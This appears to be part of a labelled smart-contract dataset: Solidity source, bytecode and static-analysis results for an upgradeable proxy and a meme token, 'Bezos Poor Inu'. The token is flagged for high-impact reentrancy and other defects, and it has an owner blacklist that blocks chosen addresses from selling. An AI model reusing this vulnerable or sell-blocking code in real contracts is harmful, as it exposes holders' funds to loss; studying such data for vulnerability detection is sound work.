@dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a26469706673582212206661f190da7bb2cb2dc6c1b9d8f8a69b6023dfda77cfcd761e2512ce3e91d5d264736f6c634300060c0033
{"success": true, "error": null, "results": {}}
293
0xf68c9d942e465a1324e0d9d477a35e584cea12bd
/** *Submitted for verification at Etherscan.io on 2022-04-29 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } contract BZPInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Bezos Poor Inu"; string private constant _symbol = "BEZOSPOORINU"; uint8 private constant _decimals = 9; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant totalTokens = 100 * 1e11 * 1e9; uint256 public _maxWalletAmount = 3 * 1e11 * 1e9; uint256 public thresholdSwap = 1 * 1e11 * 1e9; uint256 public _maxTxAmount = 3 * 1e11 * 1e9; uint256 public liqBuys = 0; uint256 public taxBuy = 6; uint256 public liqSells = 6; uint256 public taxSell = 0; uint256 private _previousLiqFee = liqFee; uint256 private _previousProjectFee = projectTax; uint256 private liqFee; uint256 private projectTax; struct FeeBreakdown { uint256 tLiquidity; uint256 tMarketing; uint256 tAmount; } mapping(address => bool) private bots; address payable private ProjectWallet = payable(0x9a9F1BF1a70b66CF85C7147432bfab5c7A974Bd6); address payable private deployWallet = payable(0x9a9F1BF1a70b66CF85C7147432bfab5c7A974Bd6); IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool private inSwap = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), totalTokens); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); _balances[_msgSender()] = totalTokens; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[ProjectWallet] = true; _isExcludedFromFee[deployWallet] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), totalTokens); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() external pure override returns (uint256) { return totalTokens; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) external override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function removeAllFee() private { if (projectTax == 0 && liqFee == 0) return; _previousProjectFee = projectTax; _previousLiqFee = liqFee; projectTax = 0; liqFee = 0; } function restoreAllFee() private { liqFee = _previousLiqFee; projectTax = _previousProjectFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool takeFee = !inSwap; if(from != owner() && to != owner() && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]){ require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } if (from != owner() && to != owner() && from != address(this) && to != address(this)) { if (from == uniswapV2Pair && to != address(uniswapV2Router)) { require(balanceOf(to).add(amount) <= _maxWalletAmount, "wallet balance after transfer must be less than max wallet amount"); } if (from == uniswapV2Pair && to != address(uniswapV2Router)) { liqFee = liqBuys; projectTax = taxBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { require(!bots[from] && !bots[to]); liqFee = liqSells; projectTax = taxSell; } if (!inSwap && from != uniswapV2Pair) { uint256 contractTokenBalance = balanceOf(address(this)); if (contractTokenBalance > thresholdSwap) { swapAndLiquify(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee(); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deployWallet, block.timestamp ); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 autoLPamount = liqFee.mul(contractTokenBalance).div(projectTax.add(liqFee)); uint256 half = autoLPamount.div(2); uint256 otherHalf = contractTokenBalance.sub(half); uint256 initialBalance = address(this).balance; swapTokensForEth(otherHalf); uint256 newBalance = ((address(this).balance.sub(initialBalance)).mul(half)).div(otherHalf); addLiquidity(half, newBalance); } function setSwappingThreshold(uint256 _thresholdSwap) external { require(_msgSender() == deployWallet); thresholdSwap = _thresholdSwap; } function sendETHToFee(uint256 amount) private { ProjectWallet.transfer(amount); } function manualSwap() external { require(_msgSender() == deployWallet); uint256 contractBalance = balanceOf(address(this)); if (contractBalance > 0) { swapTokensForEth(contractBalance); } } function manualSend() external { require(_msgSender() == deployWallet); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(contractETHBalance); } } function blacklist(address _address) external onlyOwner() { bots[_address] = true; } function removeFromBlacklist(address _address) external onlyOwner() { bots[_address] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) { removeAllFee(); } _transferStandard(sender, recipient, amount); restoreAllFee(); } function MaxTxAmount(uint256 maxTxAmount) external { require(_msgSender() == deployWallet); require(maxTxAmount > 1 * 1e11 * 1e9); _maxTxAmount = maxTxAmount; } function _transferStandard(address sender, address recipient, uint256 amount) private { FeeBreakdown memory fees; fees.tMarketing = amount.mul(projectTax).div(100); fees.tLiquidity = amount.mul(liqFee).div(100); fees.tAmount = amount.sub(fees.tMarketing).sub(fees.tLiquidity); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(fees.tAmount); _balances[address(this)] = _balances[address(this)].add(fees.tMarketing.add(fees.tLiquidity)); emit Transfer(sender, recipient, fees.tAmount); } receive() external payable {} function setMaxWalletAmount(uint256 maxWalletAmount) external { require(_msgSender() == deployWallet); require(maxWalletAmount > totalTokens.div(200), "Amount must be greater than 0.5% of supply"); require(maxWalletAmount <= totalTokens, "Amount must be less than or equal to totalSupply"); _maxWalletAmount = maxWalletAmount; } }
0x6080604052600436106101a05760003560e01c806362290a93116100ec578063a9059cbb1161008a578063f2fde38b11610064578063f2fde38b146104d5578063f4293890146104f5578063f9f92be41461050a578063fcd4fa1f1461052a57600080fd5b8063a9059cbb14610459578063dd62ed3e14610479578063ed7ab56b146104bf57600080fd5b8063715018a6116100c6578063715018a6146103db5780637d1db4a5146103f05780638da5cb5b1461040657806395d89b411461042457600080fd5b806362290a93146103795780636c0a24eb1461038f57806370a08231146103a557600080fd5b8063313ce5671161015957806341a95db11161013357806341a95db1146102f657806349bd5a5e1461030c57806351bc3c8514610344578063537df3b61461035957600080fd5b8063313ce567146102ae57806339fba650146102ca5780633cb7ab53146102e057600080fd5b806306fdde03146101ac578063095ea7b3146101f55780630a08c5241461022557806318160ddd1461024757806323b872dd1461026e57806327a14fc21461028e57600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b5060408051808201909152600e81526d42657a6f7320506f6f7220496e7560901b60208201525b6040516101ec9190611759565b60405180910390f35b34801561020157600080fd5b506102156102103660046116e6565b61054a565b60405190151581526020016101ec565b34801561023157600080fd5b50610245610240366004611712565b610561565b005b34801561025357600080fd5b5069021e19e0c9bab24000005b6040519081526020016101ec565b34801561027a57600080fd5b506102156102893660046116a5565b610586565b34801561029a57600080fd5b506102456102a9366004611712565b6105ef565b3480156102ba57600080fd5b50604051600981526020016101ec565b3480156102d657600080fd5b50610260600a5481565b3480156102ec57600080fd5b5061026060055481565b34801561030257600080fd5b5061026060075481565b34801561031857600080fd5b5060135461032c906001600160a01b031681565b6040516001600160a01b0390911681526020016101ec565b34801561035057600080fd5b50610245610702565b34801561036557600080fd5b50610245610374366004611632565b610744565b34801561038557600080fd5b5061026060085481565b34801561039b57600080fd5b5061026060045481565b3480156103b157600080fd5b506102606103c0366004611632565b6001600160a01b031660009081526001602052604090205490565b3480156103e757600080fd5b5061024561078f565b3480156103fc57600080fd5b5061026060065481565b34801561041257600080fd5b506000546001600160a01b031661032c565b34801561043057600080fd5b5060408051808201909152600c81526b42455a4f53504f4f52494e5560a01b60208201526101df565b34801561046557600080fd5b506102156104743660046116e6565b6107c5565b34801561048557600080fd5b5061026061049436600461166c565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156104cb57600080fd5b5061026060095481565b3480156104e157600080fd5b506102456104f0366004611632565b6107d2565b34801561050157600080fd5b5061024561086a565b34801561051657600080fd5b50610245610525366004611632565b61089a565b34801561053657600080fd5b50610245610545366004611712565b6108e8565b6000610557338484610922565b5060015b92915050565b6011546001600160a01b0316336001600160a01b03161461058157600080fd5b600555565b6000610593848484610a46565b6105e584336105e085604051806060016040528060288152602001611906602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610f38565b610922565b5060019392505050565b6011546001600160a01b0316336001600160a01b03161461060f57600080fd5b61062469021e19e0c9bab240000060c8610f72565b811161068a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d7573742062652067726561746572207468616e20302e3525604482015269206f6620737570706c7960b01b60648201526084015b60405180910390fd5b69021e19e0c9bab24000008111156106fd5760405162461bcd60e51b815260206004820152603060248201527f416d6f756e74206d757374206265206c657373207468616e206f72206571756160448201526f6c20746f20746f74616c537570706c7960801b6064820152608401610681565b600455565b6011546001600160a01b0316336001600160a01b03161461072257600080fd5b3060009081526001602052604090205480156107415761074181610fbb565b50565b6000546001600160a01b0316331461076e5760405162461bcd60e51b8152600401610681906117ae565b6001600160a01b03166000908152600f60205260409020805460ff19169055565b6000546001600160a01b031633146107b95760405162461bcd60e51b8152600401610681906117ae565b6107c36000611144565b565b6000610557338484610a46565b6000546001600160a01b031633146107fc5760405162461bcd60e51b8152600401610681906117ae565b6001600160a01b0381166108615760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610681565b61074181611144565b6011546001600160a01b0316336001600160a01b03161461088a57600080fd5b4780156107415761074181611194565b6000546001600160a01b031633146108c45760405162461bcd60e51b8152600401610681906117ae565b6001600160a01b03166000908152600f60205260409020805460ff19166001179055565b6011546001600160a01b0316336001600160a01b03161461090857600080fd5b68056bc75e2d63100000811161091d57600080fd5b600655565b6001600160a01b0383166109845760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610681565b6001600160a01b0382166109e55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610681565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610aaa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610681565b6001600160a01b038216610b0c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610681565b60008111610b6e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610681565b60135460ff600160a01b9091041615610b8f6000546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610bbe57506000546001600160a01b03848116911614155b8015610be357506001600160a01b03831660009081526003602052604090205460ff16155b8015610c0857506001600160a01b03841660009081526003602052604090205460ff16155b15610c7057600654821115610c705760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610681565b6000546001600160a01b03858116911614801590610c9c57506000546001600160a01b03848116911614155b8015610cb157506001600160a01b0384163014155b8015610cc657506001600160a01b0383163014155b15610ecd576013546001600160a01b038581169116148015610cf657506012546001600160a01b03848116911614155b15610da557600454610d2783610d21866001600160a01b031660009081526001602052604090205490565b906111d2565b1115610da55760405162461bcd60e51b815260206004820152604160248201527f77616c6c65742062616c616e6365206166746572207472616e73666572206d7560448201527f7374206265206c657373207468616e206d61782077616c6c657420616d6f756e6064820152601d60fa1b608482015260a401610681565b6013546001600160a01b038581169116148015610dd057506012546001600160a01b03848116911614155b15610de257600754600d55600854600e555b6013546001600160a01b038481169116148015610e0d57506012546001600160a01b03858116911614155b15610e6a576001600160a01b0384166000908152600f602052604090205460ff16158015610e5457506001600160a01b0383166000908152600f602052604090205460ff16155b610e5d57600080fd5b600954600d55600a54600e555b601354600160a01b900460ff16158015610e9257506013546001600160a01b03858116911614155b15610ecd5730600090815260016020526040902054600554811115610eba57610eba81611231565b478015610eca57610eca47611194565b50505b6001600160a01b03841660009081526003602052604090205460ff1680610f0c57506001600160a01b03831660009081526003602052604090205460ff165b15610f15575060005b610f21848484846112bc565b610f32600b54600d55600c54600e55565b50505050565b60008184841115610f5c5760405162461bcd60e51b81526004016106819190611759565b506000610f6984866118ad565b95945050505050565b6000610fb483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112d4565b9392505050565b6013805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611003576110036118da565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561105757600080fd5b505afa15801561106b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061108f919061164f565b816001815181106110a2576110a26118da565b6001600160a01b0392831660209182029290920101526012546110c89130911684610922565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906111019085906000908690309042906004016117e3565b600060405180830381600087803b15801561111b57600080fd5b505af115801561112f573d6000803e3d6000fd5b50506013805460ff60a01b1916905550505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156111ce573d6000803e3d6000fd5b5050565b6000806111df8385611854565b905083811015610fb45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610681565b6013805460ff60a01b1916600160a01b179055600d54600e5460009161126d9161125a916111d2565b600d546112679085611302565b90610f72565b9050600061127c826002610f72565b9050600061128a8483611381565b90504761129682610fbb565b60006112b083611267866112aa4787611381565b90611302565b905061112f84826113c3565b806112c9576112c9611486565b610f218484846114b4565b600081836112f55760405162461bcd60e51b81526004016106819190611759565b506000610f69848661186c565b6000826113115750600061055b565b600061131d838561188e565b90508261132a858361186c565b14610fb45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610681565b6000610fb483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f38565b6012546113db9030906001600160a01b031684610922565b60125460115460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c4016060604051808303818588803b15801561144657600080fd5b505af115801561145a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061147f919061172b565b5050505050565b600e541580156114965750600d54155b1561149d57565b600e8054600c55600d8054600b5560009182905555565b6114d860405180606001604052806000815260200160008152602001600081525090565b6114f26064611267600e548561130290919063ffffffff16565b6020820152600d5461150c90606490611267908590611302565b808252602082015161152a9190611524908590611381565b90611381565b6040808301919091526001600160a01b0385166000908152600160205220546115539083611381565b6001600160a01b03808616600090815260016020526040808220939093558383015191861681529190912054611588916111d2565b6001600160a01b0384166000908152600160209081526040909120919091558151908201516115d1916115bb91906111d2565b30600090815260016020526040902054906111d2565b30600090815260016020908152604091829020929092558281015190519081526001600160a01b0385811692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b60006020828403121561164457600080fd5b8135610fb4816118f0565b60006020828403121561166157600080fd5b8151610fb4816118f0565b6000806040838503121561167f57600080fd5b823561168a816118f0565b9150602083013561169a816118f0565b809150509250929050565b6000806000606084860312156116ba57600080fd5b83356116c5816118f0565b925060208401356116d5816118f0565b929592945050506040919091013590565b600080604083850312156116f957600080fd5b8235611704816118f0565b946020939093013593505050565b60006020828403121561172457600080fd5b5035919050565b60008060006060848603121561174057600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156117865785810183015185820160400152820161176a565b81811115611798576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118335784516001600160a01b03168352938301939183019160010161180e565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611867576118676118c4565b500190565b60008261188957634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156118a8576118a86118c4565b500290565b6000828210156118bf576118bf6118c4565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461074157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204386810bcc637f2697d2dde6ac4e69db85152a8c97a0ad527a3cf0bdd5320b0264736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
294
0x574d525C15d0D39a7a433168C7265D0Dbcd9F82D
